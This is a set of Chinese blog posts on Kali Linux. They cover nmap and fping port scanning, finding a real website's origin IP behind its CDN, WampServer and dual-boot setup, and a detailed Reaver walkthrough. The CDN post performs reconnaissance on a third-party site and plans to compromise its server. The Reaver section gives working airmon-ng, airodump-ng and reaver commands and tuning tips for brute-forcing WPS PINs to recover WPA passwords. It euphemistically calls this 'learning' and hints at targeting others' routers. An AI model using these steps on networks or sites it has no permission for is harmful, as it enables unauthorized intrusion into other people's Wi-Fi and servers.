kali学习记录之端口扫描 Linux
端口扫描的目的是识别目标系统中哪些端口是开启状态,哪些服务可以使用。比如FTP/SSH/TELNET/打印服务/web服务等等。计算机系统中共有65536个端口,因此连接这些端口并扫描出可用的端口就变的有意义了。
1、网络连接
kali的网络默认是 设备未托管状态,因此需要开启。开启方法:修改/etc/NetworkManager/下的NetworkManger.conf文件,managed = false修改为true,重启。
2、FPing工具
root@walfred:~# fping -h Usage: fping [options] [targets...] -a show targets that are alive -A show targets by address -b n amount of ping data to send, in bytes (default 56) -B f set exponential backoff factor to f -c n count of pings to send to each target (default 1) -C n same as -c, report results in verbose format -e show elapsed time on return packets -f file read list of targets from a file ( - means stdin) (only if no -g specified) -g generate target list (only if no -f specified) (specify the start and end IP in the target list, or supply a IP netmask) (ex. fping -g 192.168.1.0 192.168.1.255 or fping -g 192.168.1.0/24) -H n Set the IP TTL value (Time To Live hops) -i n interval between sending ping packets (in millisec) (default 25) -l loop sending pings forever -m ping multiple interfaces on target host -n show targets by name (-d is equivalent) -p n interval between ping packets to one target (in millisec) (in looping and counting modes, default 1000) -q quiet (don't show per-target/per-ping results) -Q n same as -q, but show summary every n seconds -r n number of retries (default 3) -s print final stats -I if bind to a particular interface -S addr set source address -t n individual target initial timeout (in millisec) (default 500) -T n ignored (for compatibility with fping 2.4) -u show targets that are unreachable -O n set the type of service (tos) flag on the ICMP packets -v show version targets list of targets to check (if no -f specified)
3、Nmap工具
使用方法:
root@walfred:~# nmap -h Nmap 6.47 ( http://nmap.org ) Usage: nmap [Scan Type(s)] [Options] {target specification} TARGET SPECIFICATION: Can pass hostnames, IP addresses, networks, etc. Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254 -iL <inputfilename>: Input from list of hosts/networks -iR <num hosts>: Choose random targets --exclude <host1[,host2][,host3],...>: Exclude hosts/networks --excludefile <exclude_file>: Exclude list from file HOST DISCOVERY: 主机网络发现功能 -sL: List Scan - simply list targets to scan -sn: Ping Scan - disable port scan -Pn: Treat all hosts as online -- skip host discovery 禁止网络发现功能,认为所有主机在线 -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes -PO[protocol list]: IP Protocol Ping -n/-R: Never do DNS resolution/Always resolve [default: sometimes] --dns-servers <serv1[,serv2],...>: Specify custom DNS servers --system-dns: Use OS's DNS resolver --traceroute: Trace hop path to each host SCAN TECHNIQUES: -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans SYN/TCP/ACK/windown/conn扫描参数 -sU: UDP Scan UDP扫描参数指定 -sN/sF/sX: TCP Null, FIN, and Xmas scans NULL/FIN/xmas扫描 --scanflags <flags>: Customize TCP scan flags -sI <zombie host[:probeport]>: Idle scan -sY/sZ: SCTP INIT/COOKIE-ECHO scans -sO: IP protocol scan -b <FTP relay host>: FTP bounce scan PORT SPECIFICATION AND SCAN ORDER: -p <port ranges>: Only scan specified ports Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9 -F: Fast mode - Scan fewer ports than the default scan -r: Scan ports consecutively - don't randomize --top-ports <number>: Scan <number> most common ports --port-ratio <ratio>: Scan ports more common than <ratio> SERVICE/VERSION DETECTION: -sV: Probe open ports to determine service/version info --version-intensity <level>: Set from 0 (light) to 9 (try all probes) --version-light: Limit to most likely probes (intensity 2) --version-all: Try every single probe (intensity 9) --version-trace: Show detailed version scan activity (for debugging) SCRIPT SCAN: -sC: equivalent to --script=default --script=<Lua scripts>: <Lua scripts> is a comma separated list of directories, script-files or script-categories --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts --script-args-file=filename: provide NSE script args in a file --script-trace: Show all data sent and received --script-updatedb: Update the script database. --script-help=<Lua scripts>: Show help about scripts. <Lua scripts> is a comma-separated list of script-files or script-categories. OS DETECTION: -O: Enable OS detection --osscan-limit: Limit OS detection to promising targets --osscan-guess: Guess OS more aggressively TIMING AND PERFORMANCE: Options which take <time> are in seconds, or append 'ms' (milliseconds), 's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m). -T<0-5>: Set timing template (higher is faster) --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes --min-parallelism/max-parallelism <numprobes>: Probe parallelization --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies probe round trip time. --max-retries <tries>: Caps number of port scan probe retransmissions. --host-timeout <time>: Give up on target after this long --scan-delay/--max-scan-delay <time>: Adjust delay between probes --min-rate <number>: Send packets no slower than <number> per second --max-rate <number>: Send packets no faster than <number> per second FIREWALL/IDS EVASION AND SPOOFING: -f; --mtu <val>: fragment packets (optionally w/given MTU) -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys -S <IP_Address>: Spoof source address -e <iface>: Use specified interface -g/--source-port <portnum>: Use given port number --proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies --data-length <num>: Append random data to sent packets --ip-options <options>: Send packets with specified ip options --ttl <val>: Set IP time-to-live field --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address --badsum: Send packets with a bogus TCP/UDP/SCTP checksum OUTPUT: -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename. -oA <basename>: Output in the three major formats at once -v: Increase verbosity level (use -vv or more for greater effect) -d: Increase debugging level (use -dd or more for greater effect) --reason: Display the reason a port is in a particular state --open: Only show open (or possibly open) ports --packet-trace: Show all packets sent and received --iflist: Print host interfaces and routes (for debugging) --log-errors: Log errors/warnings to the normal-format output file --append-output: Append to rather than clobber specified output files --resume <filename>: Resume an aborted scan --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML --webxml: Reference stylesheet from Nmap.Org for more portable XML --no-stylesheet: Prevent associating of XSL stylesheet w/XML output MISC: -6: Enable IPv6 scanning -A: Enable OS detection, version detection, script scanning, and traceroute --datadir <dirname>: Specify custom Nmap data file location --send-eth/--send-ip: Send using raw ethernet frames or IP packets --privileged: Assume that the user is fully privileged --unprivileged: Assume the user lacks raw socket privileges -V: Print version number -h: Print this help summary page. EXAMPLES: nmap -v -A scanme.nmap.org nmap -v -sn 192.168.0.0/16 10.0.0.0/8 nmap -v -iR 10000 -Pn -p 80 SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
3.1Nmap执行TCP扫描
-sT 对TCP进行扫描
-p- 对所有端口扫描
-PN 禁用Nmap网络发现功能,假定所有系统都是活动的
root@walfred:~# nmap -sT -p- -PN 192.168.115.1 Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-23 20:38 CST Stats: 0:12:34 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 90.20% done; ETC: 20:51 (0:01:22 remaining) Stats: 0:16:16 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 94.41% done; ETC: 20:55 (0:00:58 remaining) Nmap scan report for 192.168.115.1 Host is up (0.0022s latency). Not shown: 65533 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 1274.21 seconds
3.2Nmap执行UDP扫描
扫描udp也是有理由的,比如一些基于udp的服务,SNMP、TFTP、DHCP、DNS等等
root@walfred:~# nmap -sU 192.168.115.188 Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-23 20:21 CST Nmap scan report for 192.168.115.188 Host is up (0.00069s latency). Not shown: 994 closed ports PORT STATE SERVICE 137/udp open netbios-ns 138/udp open|filtered netbios-dgm 500/udp open|filtered isakmp 1900/udp open|filtered upnp 4500/udp open|filtered nat-t-ike 5355/udp open|filtered llmnr MAC Address: xxxxxxxxxxxxxx (Universal Global Scientific Industrial Co.) Nmap done: 1 IP address (1 host up) scanned in 974.78 seconds
3.3Nmap执行SYN扫描
nmap默认就是这种方式。这种方式要比TCP扫描快,因为只执行三次握手的前两次。也不会造成拒绝服务攻击
root@walfred:~# nmap -sS -p- -PN 192.168.115.1 Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-23 20:26 CST Nmap scan report for 192.168.115.1 Host is up (0.0020s latency). Not shown: 65533 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http MAC Address: xxxxxxxxxxxxxx (Digital China (Shanghai) Networks) Nmap done: 1 IP address (1 host up) scanned in 368.52 seconds
哇偶,竟然开放了telnet....
3.3Nmap执行Xmas扫描
RFC文档描述了系统的技术细节,因此如果得到RFC文档,那么就可能找到系统的漏洞,xmas和null扫描的目的正是基于这一原因。
如果系统遵循了TCP RFC文档,那么不用完成连接,仅仅在发起连接的时候,namp就可以判断出目标系统的状态。
但是一般xmas针对unix或者linux系统比较有效。
root@walfred:~# nmap -sX -p- -Pn 192.168.115.1 Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-23 20:42 CST Nmap scan report for 192.168.115.1 Host is up (0.0029s latency). Not shown: 65533 closed ports PORT STATE SERVICE 23/tcp open|filtered telnet 80/tcp open|filtered http MAC Address: XXXXXXXXXXXXX (Digital China (Shanghai) Networks) Nmap done: 1 IP address (1 host up) scanned in 382.91 seconds
3.4Nmap执行Null
root@walfred:~# nmap -sN -p- -Pn 192.168.115.1 Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-23 20:49 CST Stats: 0:04:54 elapsed; 0 hosts completed (1 up), 1 undergoing NULL Scan NULL Scan Timing: About 78.30% done; ETC: 20:55 (0:01:20 remaining) Nmap scan report for 192.168.115.1 Host is up (0.0018s latency). Not shown: 65533 closed ports PORT STATE SERVICE 23/tcp open|filtered telnet 80/tcp open|filtered http MAC Address: XXXXXXXXXXXXX (Digital China (Shanghai) Networks) Nmap done: 1 IP address (1 host up) scanned in 376.37 seconds
如何快速简单地找到使用了CDN加速的网站的真实IP 网络安全
对于一个玩渗透的孩子来说,找到使用了CDN加速的网站的源IP(真实IP),就是第一道门槛啊,没找到源IP就别想其他的环节了。。。。
恰好,今天,我在逛一个常去的网站的时候,挺喜欢的!就简单的做了一个检测。。。已通知管理员
随手把域名丢进站长工具里面查看了一下,发现使用了CDN,网宿科技的,没怎么听说过,
开了好多端口啊。。。21 22 23 1443 3389 不知道是管理员胆子大呢,还是故意是个陷阱。。。暂时不知道
为了验证一下是不是真的,那就需要找到源ip地址,几经google,百度 总算有了一点结果,使用 nslookup domain
从图中知道,域名加www解析出来的结果有 www.xxx.com。wscdns.com 明显是CDN加速服务器的,去掉www之后,得到了一个IP地址和域名,基本可以确定是源IP地址了,为了进一步验证,在站长网工具箱里面使用同IP网站查询,得到结果如下:
根据Kali Linux 上的 whatweb扫描的结果确定源IP就是 图中第一次的结果,因为301跳转到带有 www的域名上,第二次明显为cdn加速服务器的IP,两者的服务器一个为IIS 6.0 一个是IIS 7.5 的,都是ASP_NET 2.5 。
最后来链接服务器测试一下:
服务器是Windows server 2003 至于怎么拿下这个Windows server 2003 就是后面的事了(2003_So easy -_-|),信息收集到此就完成了60%,还没对网站进行扫描检测呢。
总结:我测试了自己的博客,发现并不能得到真实的IP地址,因为我的域名都做了cdn加速,所以在此提醒站长朋友们,记得使用cdn加速的时候把所有的二/三/...级域名等等都要做到位,不然很容易得到源IP,如果你的服务器又开放很多端口,就不太安全哦。尽管如此,想要得到源IP的方法还有很多,网上有专门的软件追踪真实IP,善用!我这只是一个简单的傻瓜式方法。。。再见
为Wampserver My Projects自动添加localhost前缀 技术文章
我们安装好wampserver最新版之后,在菜单里面就会有My Project选项:
我们在wamp的默认www目录(根据你自己的安装路径)下面创建两个文件夹,emlog531和JavaScriptStudy,重启wampserver就可以在My Project里发现了。
但是我们默认打开其中的任意一个都会发现在浏览器里面的路径是这个样子的:
根本就不能打开。。。。
我们打开localhost,在下面的 Your Projects 里面会发现打开项目依然不能访问,下图是我修改之后的,路径自动加上了localhost,就可以正常访问了,
而且修改之后我们直接在wamp的托盘菜单里面的菜单里面的My Projects项目可以直接在浏览器打开并正常访问,具体的修改反方法如下:
1>打开 \wamp\www\index.php
修改如下这行代码:
$suppress_localhost = true; 修改成 :$suppress_localhost = false;
2>打开 \wamp\scripts\refresh.php
修改如下这行代码:
Parameters: "http://'.$projectContents[$i].'/"; 修改成 : Parameters: "http://localhost/'.$projectContents[$i].'/"; 其实就是在 http://后添加 localhost/
完成上面两部之后就可以重新启动wampserver看效果了。一般就成功了。如果还是不行,那就参考这篇文章:
相关文章推荐:
修改WampServer的默认浏览器小计--mrxn's Blog
修改wamp中的MySQL默认密码
在 WampServer 上手工安装 PHP 的多个版本
【原创实践】物理机安装Kali2.0 i386和Windows10 X64构成双系统详细教程 Linux
2017/02/02 更新:这篇文章是在BIOS+mbr的基础上写的,如果(你的easybcd不能用)是gpt+uefi 请查看这篇文章: 在UEFI+GPT下使用rEFind实现Win10 + Kali2.0 双引导:https://mrxn.net/Linux/UEFI-GPT-rEFind-Win10-Kali20.html
首先给大家看一下Kali2.0 i386和Windows10 X64安装成功后的截图吧:
从上图知道,我这里是使用Grub2引导的Windows系统.后面我会讲为什么这么做,比较适合新手.
首先说点需要注意的,你看看你是否遇到过这种情况,我把我安装的时候遇到的问题和群里童鞋们出现的问题综合了一下:
<一>镜像的选择:很多的人都是看自己的CPU来选择,比如Intel的使用i386.AMD的使用AMD64的.但是我用我的实践证明了,有的时候,AMD的CPU安装AMD版本的镜像是不行的,会卡在如下的界面,我想很多的人大概都遇到过.特别是使用AMD的CPU的童鞋.如果刻录了与你CPU型号相同的Kali镜像,但是却卡在如下图所示的环节,可以考虑重新刻录i386的镜像试试.因为哪个版本都可以使用的,只是性能上有多多少少的折扣。
<二>BIOS的设置,如果你是双显卡,安装的时候最好是使用集显,可以大大避免卡在安装界面进入后的第二步上。一般是在BIOS的config选项下面的Display里面设置使用集显还是双显卡。集显字样如:Intergrated Graphics 。等你安装完Kali之后,可以再进入BIOS设置重新启用双显卡。
<三>硬盘的模式选择,如果是安装双系统,推荐使用 AHCI + Legacy Only 模式,这样兼容性和性能都兼顾,但不是最好的性能哈,兼容和性能兼得,性能必然会有所牺牲的。如下图所示的硬盘模式设置:
<四>使用Windows系统自带的磁盘管理工具先压缩出来一部分给Kali 使用,一般推荐最少20G,可以大一点,比如30G比较合适。
在我的计算机上右键-管理-磁盘管理-选一个磁盘右键-压缩卷-输入压缩大小,比如:30720(30G),等待压缩完毕,退出来,关闭计算机,准备安装。
<五>如果你重新刻录镜像的时候不能够格式化U盘或者是U盘容量大小有问题,请查看这篇文章的解决方法:
使用Win32DiskImager做安装kali启动U盘后的那些事儿
下面开始详细的教程:
首先是使用windisk32这款软件来制作Kali的安装启动U盘.
选择你要安装的Kali版本镜像文件,我这里已Kali 2.0 i386做演示,也是我自己物理机安装的.记得在选择镜像的时候有个小细节,右下角的过滤选择所有文件类型:
找到镜像之后,打开就OK,然后是核对右边的Device(U盘/光盘)是否正确,软件默认是会选择U盘/光盘的,不知道的可以去我得电脑里面查看。这两项核对正确无误之后就可以点击下面的 write 开始写入镜像操作了。等待写入完成,一般是10分钟左右,主要依据你的U盘/光盘写入速度。
下面进入安装环节,关机,重启F12,到选择启动盘界面,或者是在BIOS设置好U盘为第一启动项(这不会就去百度吧,或者是别玩双系统了):
在这个界面我们可以测试能够安装。选择第一项的 Live (686-pae)更具你自己刻录的镜像,括号里面的可能会有不同,比如 Live (adm64) 等,回车进入 Kali Live 界面,记载系统文件等等,速度很快,如果你的加载中途停止了,卡在如图所示的位置,那你可以考虑换镜像重新刻录尝试:
如果顺利,会进入Kali Live界面的。如下图所示:
如果进入这里了,就表明你可以成功安装Kali 的几率提升到95%了。当然,如果你在Windows上忘了压缩分区给Kali,别着急,这里也可以分使用parttion分区命令来分区的(推荐在Windows上分区好,对于新手比较方便,老鸟直接飞过吧)。具体的分区方法,这里就不叙述了,很多的。节省空间,这篇文章已经很长了。。。
OK,点击右上角的那个倒三角,在弹出来的菜单里,选择reboot,选择now。重启,重新进入U盘安装Kali界面。这里我选择install。如果顺利,就来到选择语言的对话框,通过方向键向上选择中文(简体)。
接着是询问是否要以选择的语言安装,通过Tab键选择 是。
选择区域:中国,回车
选择汉语,回车
就开始加载数据,准备进行下一步,等待这个过程完毕,一般很快,几秒钟
接着来到了 给主机命名,随便输入你喜欢的名字,比如:Mrxn
接着是域名,选择不填写吧。直接Tab键 选择 继续
接着是 输入root用户密码,可以在这里设置,也可以在后面设置,我就在这里设置了吧,root 然后Tab键切换到 继续 回车
然后来到 重新输入刚刚输入的root密码进行确认,root Tab键到 继续之后,回车
就到了,分区这一步,很重要的步骤,因为刚刚在Windows上压缩了一个空的分区,所以会出现第一个:向导-使用最大的连续空闲空间,所以我这里直接就选择这个,回车进行下一步。如果你没有提前分区,或者是项自己设置boot分区根分区/,hone分区等等,请自行选择下面的手动。新手就别去折腾了。。小心折腾坏两个系统。
接着来到选择是否把所有文件放到一个分区中,推荐新手选择这一个,然后 回车。
然后就是分区结束最后确认阶段,选择最后一个:分区设定结束开始将更改写入磁盘,然后回车进行下一个环节
如果你是选择手动分区,并且自己选择了分区,就会弹出下面这两个对话框,我这里不是手动分区,所以不会出现这个,这只坐介绍,
接着是格式化分区的步骤,手动和向导分区都有这一步
格式化结束就会开始安装系统了,复制系统文件到磁盘了
漫长的等待数据复制完成之后,就会弹出选择是否进行网络安装,直接选择否,因为还没有修改源,会很慢,等死你。。。
接下来就是非常重要的步骤:安装Grub到那个分区,我这里选择是,安装到主mbr上,利用Grub来引导Windows。如果你想让Windows来引导Kali就选择否,然后选择将Grub安装到那个分区,如果/boot单独分区则添/boot所在的分区,如果/boot没有单独分区,则添/目录所在的分区;
Grub安装完毕之后就是重启,重启之后就可以看见熟悉的Kali Grub引导菜单,选择Kali 进入,进入Kali之后,我们需要使用下面的命令来更新Grub引导使Windows引导加入到引导菜单里面,打开终端命令面板,输入如下的命令更新Grub:
su
sudo update Grub2
如果你是以root登录的系统,直接输入 update Grub2 就可以了。然后reboot,就会发现已经有Windows load (sda1)等字样,选择并回车,就可以进入Windows系统了。如果不能进去Windows系统,请使U启动,大白菜,老毛桃之类的PE工具进行引导修复,就OK了。修复之后需要在Windows使用easybcd添加Kali 启动项。
如果是将mbr安装到其他分区,并非主分区,那么重启后是进入Windows系统的,进入Windows系统之后,下载easybcd,添加Kali启动项。具体的教程,可以百度搜搜,很多,也很详细的。
至此Kali + windows双系统安装就结束了,如果在安装中有什么问题或者是我写的不对的地方,欢迎大家评论留言:https://mrxn.net/guestbook.html或者是加我QQ-1451657099讨论。欢迎大家去折腾,生命在于折腾。生命不息,折腾不止!come on!
欢迎转载,请注明出处:https://mrxn.net/?post=363 毕竟写这么久不容易,请相互尊重,谢谢。
最新kali2.0 Linux编译安装RT2870/3070无线USB网卡驱动教程+reaver参数详解+PING方法策略 Linux
01.终端输入#lsusb,会看到再出现的几行中有USB、ralink等字样,一般是倒数第二行。。。确定下ID代码:ID 148f:5370 Ralink
02.下载驱动,可以google/百度搜索关键字----ralink rt2870/3070(根据自己的网卡型号来搜索)----进官网后选择Download字样的,只要芯片型号对就行,你说那要是不知道芯片型号?找度娘--搜索---你USB网卡型号+芯片型号(比如托实N95芯片型号)---度娘会告诉你芯片型号的!好了,这步搞定。
03.下载玩之后解压,tar -zxvf filename.tar.bz2 类似的。解压完毕后进入解压完毕的那个文件夹,然后进入 os/linux 目录下,编辑config.mk,可以使用命令 leafpad config.mk 之后在leafpad的窗口里搜索并找到,修改下面这两句,启用WPA特性:
HAS_WPA_SUPPLICANT=y
HAS_NATIVE_WPA_SUPPLICANT_SUPPORT=y
04.编译(需要root权限),make , makeinstall ,modprobe rt3070(根据自己的网卡型号),exit 。
注意:执行modprobe rt3070可能会产生一个警告: WARNING: All config files need .conf: /etc/modprobe.d/ndiswrapper, it will be ignored in a future release. 无视掉,没有关系!!!或许还有其他的警告或者是提示都不用管,稍等执行ifconfig -a 查看无线网卡驱动是否安装激活。
如果想系统每次启动就会自动驱动这张网卡,可以将模块加入/etc/modules,这样代码:echo rt3070 >> /etc/modules
下面介绍一下reaver与ping 之间的详细参数 和一些破解时设置的技巧,菜鸟请看,绝对有用,老鸟无视,直接飞过~~~~~
【Reaver v1.4 参数说明】
-i, --interface=<wlan> Name of the monitor-mode
interface to use
网卡的监视接口,通常是 mon0
-b, --bssid=<mac> BSSID of the target AP AP 的
MAC 地址
Optional Arguments:
-m, --mac=<mac> MAC of the host system
指定本机 MAC 地址,在 AP 有 MAC 过滤的时候需要使用
-e, --essid=<ssid> ESSID of the target AP 路由器的
ESSID,一般不用指定
-c, --channel=<channel> Set the 802.11 channel for
the interface (implies -f) 信号的频道,如果不指定会自动扫
描
-o, --out-file=<file>Send output to a log file [stdout]
标准输出到文件
-s, --session=<file> Restore a previous session file
恢复进程文件
-C, --exec=<command> Execute the supplied
command upon successful pin recovery pin 成功后执行
命令
-D, --daemonize Daemonize reaver
设置 reaver 成 Daemon
-a, --auto Auto detect the best advanced options
for the target AP 对目标 AP 自动检测高级参数
-f, --fixed Disable channel hopping
禁止频道跳转
-5, --5ghz Use 5GHz 802.11 channels 使用 5G 频道
-v, --verbose Display non-critical warnings (-vv for
more) 显示不重要警告信息 -vv 可以显示更多
-q, --quiet Only display critical messages 只显示关键信息
-h, --help Show help 显示帮助 Advanced Options:
-p, --pin=<wps pin> Use the specified 4 or 8 digit
WPS pin
直接读取 psk(本人测试未成功,建议用网卡自带软件获取)
-d, --delay=<seconds> Set the delay between pin
attempts [1]
pin 间延时,默认 1 秒,推荐设 0
-l, --lock-delay=<seconds> Set the time to wait if
the AP locks WPS pin attempts [60] AP 锁定 WPS 后
等待时间
-g, --max-attempts=<num> Quit after num pin
attempts
最大 pin 次数
-x, --fail-wait=<seconds> Set the time to sleep after
10 unexpected failures [0]
10 次意外失败后等待时间,默认 0 秒
-r, --recurring-delay=<x:y> Sleep for y seconds every
x pin attempts
每 x 次 pin 后等待 y 秒
-t, --timeout=<seconds> Set the receive timeout
period [5] 收包超时,默认 5 秒
-T, --m57-timeout=<seconds> Set the M5/M7
timeout period [0.20] M5/M7 超时,默认 0.2 秒
-A, --no-associate Do not associate with the AP
(association must be done by another application)
不连入 AP(连入过程必须有其他程序完成)
-N, --no-nacks Do not send NACK messages
when out of order packets are received
不发送 NACK 信息(如果一直 pin 不动,可以尝试这个参数)
-S, --dh-small Use small DH keys to improve crack
speed
使用小 DH 关键值提高速度(推荐使用)
-L, --ignore-locks Ignore locked state reported by the
target AP 忽略目标 AP 报告的锁定状态
-E, --eap-terminate Terminate each WPS session with
an EAP FAIL packet
每当收到 EAP 失败包就终止 WPS 进程
-n, --nack Target AP always sends a NACK [Auto] 对
目标 AP 总是发送 NACK,默认自动
-w, --win7 Mimic a Windows 7 registrar [False] 模拟
win7 注册,默认关闭
PIN码
破解简单解释:
PIN码分前4和后4,先破前4只有最多一万个组合,破后4中的前3只有一千个组
合,一共就是一万一千个密码组合。 10的4次方+10的3次方=11000个密码组合。
当reaver确定前4位PIN密码后,其任务进度数值将直接跳跃至90.9%以上,也就是
说只剩余一千个密码组合了。总共一万一千个密码!
学习过程
1.在虚拟机找到点击打开。如果电脑装有多个无线网卡,请先发指令
ifconfig -a 确认你用哪一个网卡WLAN0或是WLAN1
(下面的指令都是以单一网卡WLAN0为例)
2.出现root Shell窗口。敲入第一条命令“ifconfig wlan0 up” 加载
usb网卡。
接下来“airmon-ng start wlan0” 监听模式已激活到了
mon0。
如果出现网卡没有正确加载,8187驱动RF-kill的参考后记1解决问题。
3.第二条命令“airodump-ng mon0” 查看周边路由/AP的信息。
记录下你要学习的路由MAC地址。提供几个查看可以使用PIN码学习路由的方法。
特别提示:只有AP开启了WPS、QSS功能,才可以用PIN法学习PSK密码!如何查看
AP是否开了WPS、QSS呢提供几个小方法?
a) reaver1.3下使用使用命令walsh -imon0-C 查看针对xiaopangOS3.2版本
b) reaver1.4下用新的指令:WASH -i mon0 -C C是大写在wps locked一项中有显示的。
c) WIN7下,用通常的方式连接AP,如果在提示输入密码框下面,出现“通过按路由器
按钮也可以连接”,就确认此AP开了WPS、QSS。
d) 在螃蟹软件中——可用网络——模式下带N,G的这个不是很准
最准确的是下面这个选项
点击PIN输入配置,选择接入点,哈哈出来了吧,这里面都是可以学习的目标
需要注意的是,查看后面有的是不支持pin码连接的,这样的就别弄了,后果你知道。
1. 重新开启一个root Shell窗口,第三条命令“reaver -i mon0 -b MAC -a -S -vv” 抓PIN
码。注意,MAC中冒号不可省略,MAC地址的字母大小写均可,-S是大写字母, -vv
是两个V不是W!# _) }
-i 监听后接口名称
-b 目标mac地
-a 自动检测目标AP最佳配
-S 使用最小的DH key(可以提高破解速度)
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间 预设为1秒
-t 即timeout每次穷举等待反馈的最长时间
-c指定频道可以方便找到信号,如-c1 指定1频道,大家查看自己的目标频道做相应修改 (非TP-LINK路由推荐–d9 –t9参数防止路由僵死
reaver -i mon0 -b MAC -a -S –d9 –t9 -vv)
小结-学习时应因状况调整参数(-c后面都已目标频道为1作为例子
目标信号非常好: reaver -i mon0 -b MAC -a -S -vv -d0 -c 1
目标信号普通: reaver -i mon0 -b MAC -a -S -vv -d2 -t .5 -c 1
目标信号一般: reaver -i mon0 -b MAC -a -S -vv -d5 -c 1
学习开始了,然后就是漫长的等待。
如果信号好的话2-4小时内进度走到100%你就会有惊喜发现。
PIN破密对信号要求极为严格,如果信号稍差,可能导致破密进度变慢或者路由死锁等(重
复同一个PIN码 或 timeout)。AP关闭了WPS、或者没有QSS滴,会出现
WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)
5.如果出现超长的wpa PSK可以使用第四条命令“reaver –i mon0 –b MAC –p WPA PSK”
MAC为目标的mac地址,WPA PSK为获取到的超长密码。作用是将指定的pin码获取
wpa密码psk。
6.常用命令截图
7.不是所有的路由都支持pin学习。AP关闭了WPS、或者没有QSS滴,会出现
WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX) 学习过程中也可随时随地按
Ctrl+C终止破解,重复同一个PIN码 或 timeout可终止,reaver
会自动保存进度。保存进度后重复第2-4项内容,先看看AP信号强弱或是否关机,继续
学习,则重复命令reaver -i mon0 -b MAC -vv这条指令下达后,会让你选y或n,选y后
就继续了。当reaver确定前4位PIN密码后,其工作完成任务进度数值将直接跳跃至90.9%
以上,也就是说只剩余一千个密码组合了(总共一万一千个密码)。这个时候离成功就差
一步之遥了,呵呵hold住哦!!!
小技巧:只要Root Shell窗口不关闭,按方向键的上下会出现你输入过的命令方便调用。 8.虚拟机中快照的保存方法
找到这两个图标,第一个是保存快照。第二个图标是加载上一次的快照。
快照的作用:类似迅雷的断点续传,可以保存上次学习的进度,防止目标pin僵死,无法
继续前功尽弃,这是光盘启动、u盘启动、硬盘启动都无法避免的。而虚拟机则可为自己
上一份保险。
载入快照后如果无法继续,可以尝试先卸载掉usb网卡,然后重新加载。然后在开启窗口
继续上次的学习。学习过程中也可随时随地按Ctrl+C终止破解,重复同一个PIN码 或
timeou t可终止,reaver会自动保存进度。
reaver -i mon0 -b MAC -vv这条指令下达后,会让你选y或n,选y后就继续了。
9.光盘启动、u盘/硬盘启动保存学习进度的方法
reaver1.3的保存路径:打开桌面最后边一个图标xfec 定位到/etc/reaver下,有一个wpc
后缀的文件,名字是你学习的目标的mac地址,复制到你的U盘,路径是/mnt/sdb1(一
般是这个,自己找找,要是没有东西就右键mount),以后重启到xiaopanOS,把这文件
复制到原来的路径,再试试,可以载入进度了!o(∩_∩)o 哈哈
reaver1.4的保存路径:保存目录:/usr/local/etc/reaver
如果xfe文件管理器未获得ROOT权限。请先运行root shell后输入xfe即可获得root权
限。保存方法同上。下次重启动后,再手工复制到/etc/reaver/ 目录下即可
MAC地址.wpc 其实是个文本文件,格式与破密用字典酷似,其第一行和第二行,分别是
4位数和3位数的指示位置数(+4)。如果进度到99.9%后,AP死机,可打开它,总共1000
个3位数,找出剩余的十几个PIN码,用QSS、WPS客户端软件,手动测试、破密。
如果是跑了99.99%死机, 意味吗? 你懂的吧? 最后一个PIN就是。
以下这个命令是指定PIN码,获得WPA 密码PSK
reaver -i mon0 -b MAC -p PIN8位数
如果上述措施不后,仍不见PSK密码,可能因软件原因,漏码了!需要重新跑后三位数!
(前四位正确的话)reaver -i mon0 -b MAC -p PIN前4位数
1.遇见8187驱动RF-kill的 xiaopanos
对8187的网卡支持不是太好,有时会出现驱动加载不了,就是输入第一条命令
后出现operation not possible due to RF-kill,我想大部分人也遇到过把。新版本0.34使用
命令rfkill unblock all解决这个问题,容易出现问题的是0.3.2版本的。
第一种尝试的解决办法:这时候就断开USB,等上大概10几秒把再插上,连续插拔几次
总有一次会好。
第二种尝试的解决办法:先运行一下奶瓶扫描一会,然后退出奶瓶。虚拟机USB图标(USB
图标上的小点)由深绿变成浅绿色,变浅绿就输入
ifconfig wlan0 up
airmon-ng start wlan0
第三种解决办法:出现错误后的解决
a.Root Shell窗口敲击命令“ifconfig -a”,查看最后一项是否出现wlan0,这个就是你的无
线网卡。如果没有出现拔插网卡,直到测试出现wlan0。
b.接下来输入第二条命令“ifconfig wlan0 up”,接下来第三条“airmon-ng start wlan0”载入
网卡。如果出现operation not possible due to RF-kill,不要惊慌继续输入命令“airmon-ng start
wlan0”多输入几次,然后拔出USB网卡,再插入,重复第2步的命令。一般情况下就会
正常载入了括号内只会显示monitor mode enabled on mon0,不会出现operation not possible
due to RF-kill,如果不行以上步骤再次重复,直到解决。
c.输入“airodump-ng mon0”(如果括号内显示的是monitor mode enabled on mon1,相应的
命令就改为airodump-ng mon1,其他的类似),测试一下,要是可以正常扫描,说明8187L加载成功,就可以reaver了,你懂的!
